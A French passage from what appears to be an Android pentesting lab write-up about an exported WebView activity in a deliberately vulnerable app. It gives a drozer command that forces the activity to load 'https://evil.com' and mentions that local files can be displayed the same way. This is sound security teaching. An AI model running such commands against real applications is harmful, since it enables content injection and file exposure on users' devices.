Ici, on peut voir une activité nommée com.tmh.vulnwebview.RegistrationWebView avec l'attrubut exported sur "true" ce qui signifie qu'elle est disponible pour tout autre application sur l'appareil.
Dans ce code, on peut dans un premier temps constater que les librairies WebView sont importées ce qui confirme l'utilisation de WebView par l'application. On peut également constater que la fonction loadWebView() charge l'URL en récupérant la chaîne de l'intent.
Exploitation
Ainsi, ce comportement peut être exploité par des applications tierces en envoyant une intent à ce composant avec une URL et l'application cible acceptera et s'exécutera lorsque ce composant aura été exporté. c'est-à-dire que l'application tierce a accès au composant WebView dans l'application cible.
On peut alors utiliser la commande suivante de drozer pour entrer une url malicieuse et afficher celle-ci à la place de l'originale.
run app.activity.start --component com.tmh.vulnwebview com.tmh.vulnwebview.RegistrationWebView --extra string reg_url "https://evil.com"
Décomposition de la commande:
1. run app.activity.start //Permet de lancer une activité
2. --component <package> <activity>
3. --extra <type> <key> <value>
Il est également possibe d'utiliser cela pour afficher des fichiers locaux à condition que l'application y ai accès.